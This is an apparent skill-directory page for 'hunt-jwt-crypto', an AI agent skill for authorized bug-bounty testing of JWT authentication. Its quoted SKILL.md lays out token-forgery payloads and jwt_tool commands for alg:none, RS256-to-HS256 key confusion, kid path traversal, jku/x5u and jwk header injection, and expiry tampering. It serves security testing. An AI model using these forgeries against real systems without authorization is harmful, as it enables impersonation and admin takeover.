Skip to content
Skillpedia
Security5.4k Β· #14915

hunt-jwt-crypto

What it does

This skill tests JSON Web Tokens for signature flaws that could let someone change their identity or role. It is for authorized testing of apps that log users in with JWT tokens.

When to use it

  • βœ“When an app sends a login token starting with eyJ in a header, cookie or response.
  • βœ“When a token header says RS256 and you want to check whether the server accepts another algorithm.
  • βœ“When you want to check whether tokens with no signature are accepted.

Skill link

https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-jwt-crypto/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-jwt-crypto/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œOur app uses JWT login tokens. Can you check whether a modified token with a changed role is accepted in our authorized test?”

5 new skills a week. 1 minute to read.

How it works

The agent decodes the token, then tries altered versions with changed claims and weakened signing methods. It checks whether the server accepts them and reports only confirmed forgeries.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

HUNT-JWT-CRYPTO β€” Forgeable JSON Web Tokens (A04 Cryptographic Failures)

What actually pays

A JWT is header.payload.signature, each base64url. The signature is the only thing stopping you from editing the payload (your identity/role) and replaying it. It pays High/Critical when the verifier can be tricked into accepting a token you forged β€” so you become another user or an admin without their secret.

Two classic, generic verifier flaws:

  • alg:none β€” the verifier trusts the token's own alg header. Set alg:"none", drop the signature, edit the payload (e.g. role:"admin", another user's id/email). A broken verifier skips signature checking.
  • RS256 β†’ HS256 key confusion β€” the token is signed RS256 (asymmetric). The RSA public key is, by definition, public. If the verifier lets you choose HS256, it will use that public key as the HMAC secret β€” which you also know. Sign an edited payload with HS256 using the public key and it validates.

Recon β€” is this app JWT-based?

Login/token responses containing  "token":"eyJ..."   or  Set-Cookie: token=eyJ...
Authorization: Bearer eyJ...    on authenticated requests
A JWKS / public-key endpoint:   /.well-known/jwks.json, /jwks, public-key in the JS bundle

Decode the header (base64url the first segment). "alg":"RS256" β†’ try key confusion. Any alg β†’ always try alg:none first; it's free.

Forging the token (never hand-encode base64 β€” use a JWT tool)

Use a purpose-built tool so encoding/signing is correct: jwt_tool (jwt_tool <token> -T to tamper interactively, -X a for alg:none, -X k -pk public.pem for key confusion), Burp's JWT Editor extension, or a few lines of PyJWT. Each forge below is the concept plus the claim to edit.

alg:none β€” become admin / another user

header:    {"alg":"none","typ":"JWT"}
payload:   {"data":{"id":1,"email":"admin@target.example","role":"admin"}}
signature: (empty β€” keep the trailing dot:  header.payload. )

Some verifiers reject lowercase none but accept None/NONE/nOnE β€” try case variants.

RS256 β†’ HS256 key confusion β€” once you have the RSA public key

1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
   /.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
   bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
      jwt_tool <token> -X k -pk public.pem
   payload edit:  {"sub":"administrator"}   (or role:"admin" / another user's id)

kid header injection β€” verifier loads the HMAC key from a FILE named by kid

header:  {"alg":"HS256","kid":"../../../../../../../dev/null"}
secret:  ""     (contents of /dev/null = empty string β†’ sign HS256 with an empty secret)
payload: {"sub":"administrator"}

Traverse out of the keys directory first. kid can also carry SQLi / command injection / SSRF if the key lookup hits a DB / shell / URL β€” same idea: kid is attacker-controlled and reaches a dangerous sink.

jku / x5u header injection (RS256) β€” verifier fetches the public key from a URL in the token

1. Host a JWKS containing a public key you control, on a server the verifier can reach.
2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload
   with YOUR matching private key.
3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable
   path on the target's OWN domain so the fetch resolves to your JWKS.

jwk header self-signed key injection (RS256) β€” embed an attacker-controlled public key in the token

header:  {"alg":"RS256","jwk":{"kty":"RSA","n":"<your_rsa_modulus>","e":"AQAB"}}
payload: {"sub":"administrator"}
signature: (sign with your matching private key)

Some verifiers incorrectly trust a jwk (JSON Web Key) claim in the header and use it to validate the signature. Generate your own RSA keypair, embed the public key in the token header, sign with your private key, and send. Works when the verifier does not verify the key's provenance or allowlist.

Expiry / time-based claim manipulation

Remove "exp" (expiration) claim entirely β€” many validators skip the check if absent.
Or set "nbf" (not before) to the past and "exp" (expiration) to far future (e.g. year 2099).
Edit payload: {"sub":"administrator","nbf":1000000000,"exp":4102444800}

Combined with any forging technique above (alg:none, key confusion, jwk i

FAQ

What is the none algorithm issue?

It is when a weak server accepts a token that claims no signature is needed.

What is key confusion?

It is when a server expecting a public-key signature can be tricked into checking it as a shared secret.

Does this skill cover all JWT issues?

No. The skill covers signature and key forgery, while other JWT handling is covered by a separate API skill.

Details

Original description by the author

Hunt JWT cryptographic failures β€” alg:none signature-stripping and RS256β†’HS256 key-confusion that let an attacker forge a token for any identity (e.g. an admin) without knowing a secret. Use when the app authenticates with a JSON Web Token (an `eyJ...` Bearer token in the Authorization header, a cookie, or a login response). This skill OWNS JWT signature/crypto forgery (alg:none, key confusion, kid/jku header injection); hunt-ato covers JWT as one ATO path, hunt-auth-bypass covers SSO/SAML token trust, hunt-api-misconfig covers non-crypto JWT handling. Critical when a forged token grants acces

repo: elementalsouls/Claude-BugHunter

Popularity

GitHub stars
5.4k
Ranking position
#14915
License
MIT
Updated
11/2/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills